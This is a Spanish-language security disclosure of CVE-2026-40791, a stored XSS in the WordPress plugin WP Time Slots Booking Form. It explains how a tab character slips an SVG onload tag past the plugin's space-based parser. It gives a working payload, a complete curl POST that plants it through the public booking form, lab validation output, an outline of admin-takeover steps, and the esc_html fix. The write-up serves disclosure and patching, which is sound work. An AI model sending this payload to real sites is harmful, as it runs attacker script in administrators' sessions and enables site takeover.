
CVE-2026-40791: XSS almacenado no autenticado en WP Time Slots Booking Form <= 1.2.46
Encontré un XSS almacenado no autenticado en el plugin de WordPress WP Time Slots Booking Form. Una presentación de reserva pública controla parte del valor de la ranura de tiempo almacenada. El plugin luego imprime ese valor en la página de Órdenes de Reserva del administrador sin escaparlo.
El truco es simple: el plugin divide la cadena de la cita enviada en espacios literales, pero HTML trata un tabulador como espacio en blanco entre un nombre de etiqueta y un atributo. Así que 8:<svg[TAB]onload=...> sobrevive al analizador del plugin como el valor de la ranura, y luego se convierte en marcado real cuando el administrador abre la lista de reservas.
| CVE | CVE-2026-40791 |
| Plugin | WP Time Slots Booking Form |
| Slug | wp-time-slots-booking-form |
| Afectado | <= 1.2.46 |
| Corregido | 1.2.47 |
| Clase de error | XSS almacenado no autenticado (CWE-79) |
| Impacto | Reserva pública -> JavaScript en sesión wp-admin del administrador |
| CVSS | 7.2 Alto (Wordfence), 7.1 (Patchstack) |
| Crédito | Daniel Wade |
El formulario de reserva pública acepta este campo:
fieldname1_1=2026-04-15 8:<svg[TAB]onload=alert(document.cookie)> 1 0 0 0 0 0 0
El plugin lo analiza así:
$item_split = explode(' ', $app_item_text);
...
'slot' => $item_split[1],
Debido a que el separador es un tabulador, no un espacio literal, item_split[1] se convierte en:
8:<svg onload=alert(document.cookie)>
Ese valor de ranura se serializa en la reserva. Cuando un administrador abre Órdenes de Reserva, la versión 1.2.46 lo imprime aquí:
'<span class="ahb-time">'.$this->format_date($posted_data["apps"][$k]["date"]).' '.$posted_data["apps"][$k]["slot"].'</span>' .
...
echo $appts.'</div><div style="display:none">'.$data; // phpcs:ignore WordPress.Security.EscapeOutput
Sin escapado. El onload del SVG se ejecuta en la página de administración.
Esto no es solo "¿puedo leer la cookie de administración?" Las cookies de autenticación modernas de WordPress normalmente son HttpOnly, por lo que document.cookie puede no exponer la cookie real wordpress_sec_*. Lo importante es que el script se ejecuta en una página autenticada de origen de administrador. Puede obtener páginas de administración del mismo origen, leer nonces expuestos y enviar solicitudes de administración autenticadas desde el navegador de la víctima.
El flujo vulnerable:
POST no autenticado
-> fieldname1_1
-> extract_appointments()
-> explode(' ', $input)[1]
-> $apps[]['slot']
-> serialize()
-> wp_cptslotsbk_messages.posted_data
-> unserialize()
-> Etiqueta de reserva en Órdenes de Reserva
-> Salida HTML sin escapar
El analizador asume que la ranura de tiempo es solo texto. No lo es. Es entrada del atacante que luego termina en un contexto HTML.
El sumidero vulnerable está en cp-admin-int-message-list.inc.php:
$appts .= '<div class="ahb-appointment-badge">' .
'<span class="dashicons dashicons-clock"></span>' .
'<span class="ahb-time">'.$this->format_date($posted_data["apps"][$k]["date"]).' '.$posted_data["apps"][$k]["slot"].'</span>' .
...
echo $appts.'</div><div style="display:none">'.$data; // phpcs:ignore WordPress.Security.EscapeOutput
Ese phpcs:ignore WordPress.Security.EscapeOutput es toda la historia en una línea. La advertencia de escapado fue suprimida donde se imprimían datos de reserva controlados por el atacante.
La forma del payload:
8:<svg[TAB]onload=alert(document.cookie)>
Por qué funciona:
PHP explode(' ', ...)
"8:<svg<TAB>onload=...>" permanece como un token
Analizador HTML del navegador
<svg<TAB>onload=...> se convierte en <svg onload=...>
El analizador de ranuras obtiene el valor que espera. El navegador obtiene la etiqueta que sabe cómo ejecutar.
PowerShell:
.\poc\reproduce.ps1 -Target "http://127.0.0.1" -PageId 2
Bash:
./poc/reproduce.sh "http://127.0.0.1" 2
curl manual:
TAB=$'\t'
TARGET="http://127.0.0.1"
PAGE_ID="2"
curl -i -sS "$TARGET/?page_id=$PAGE_ID" \
--data-urlencode "cp_tslotsbooking_pform_process=1" \
--data-urlencode "cp_pform_psequence=_1" \
--data-urlencode "cp_tslotsbooking_id=1" \
--data-urlencode "fieldname1_1=2026-04-15 8:<svg${TAB}onload=alert(document.cookie)> 1 0 0 0 0 0 0" \
--data-urlencode "fieldname2_1=John Doe" \
--data-urlencode "[email protected]" \
--data-urlencode "fieldname4_1=1234567890" \
--data-urlencode "cp_ref_page=$TARGET/?page_id=$PAGE_ID" \
--data-urlencode "form_structure_1=" \
--data-urlencode "refpage_1=" \
--data-urlencode "cp_tslotsbooking_pform_status="
Resultado esperado:
HTTP/1.1 302 Found
Luego inicie sesión como administrador y abra:
WP Time Slots Booking Form -> Booking Orders
El payload se ejecuta cuando se renderiza la fila de reserva almacenada.
Validé la cadena completa en un laboratorio local de WordPress desechable:
PHP 8.3.31 para Windows
MariaDB 11.4.12 en 127.0.0.1
WordPress
WP Time Slots Booking Form 1.2.46
CAPTCHA deshabilitado en el formulario 1
Página pública con [CP_TIME_SLOTS_BOOKING id="1"]
El PoC de PowerShell se envió limpiamente:
HTTP status: 302
El payload aterrizó en wp_cptslotsbk_messages.posted_data:
slot";s:69:"8:<svg\tonload=document.body.setAttribute('data-cve40791','executed')>"
Luego, Chrome sin cabeza inició sesión como administrador, abrió Órdenes de Reserva y vio el marcador establecido por el manejador SVG almacenado:
ADMIN_XSS_EXECUTED
También probé las mismas filas maliciosas almacenadas después de reemplazar el plugin con la versión 1.2.47. La página de administración renderizó el payload como texto escapado:
04/15/2026 8:<svg onload=...>
No se activó ningún marcador:
PATCHED_NO_XSS_EXECUTION
También hay una pequeña comprobación de cordura de renderizado local:
powershell -NoProfile -ExecutionPolicy Bypass -File .\lab\validate-render.ps1
Verifica las dos partes mecánicas sin una instalación completa de WordPress:
Parser check OK: literal-space split preserves tabbed SVG in slot index 1.
Browser check OK: tab-separated unquoted SVG onload executed in rendered HTML.
El atacante no necesita una cuenta. El atacante envía una reserva pública y espera a que un administrador vea Órdenes de Reserva.
Una vez que el administrador ve esa página, el JavaScript del atacante se ejecuta dentro del origen de WordPress del administrador. Un atacante real generalmente no se detendría en alert(document.cookie). Usaría el navegador del administrador como administrador:
obtener páginas de administración
-> leer nonces del HTML
-> enviar POST de administración autenticados
-> cambiar el estado del sitio
Dependiendo de las capacidades del administrador y la configuración del sitio, esto puede significar crear usuarios, cambiar la configuración del plugin, modificar destinos de notificaciones, leer datos de reservas/clientes o escalar hacia la toma total del sitio a través de funcionalidades del plugin/tema.
La versión 1.2.47 escapa la ranura almacenada antes de construir la etiqueta de administración:
- ' '.$posted_data["apps"][$k]["slot"].'</span>'
+ ' '.esc_html($posted_data["apps"][$k]["slot"]).'</span>'
Eso corrige el sumidero. Sancionar antes también sería razonable, pero el límite de seguridad es el contexto de salida HTML en la página de administración.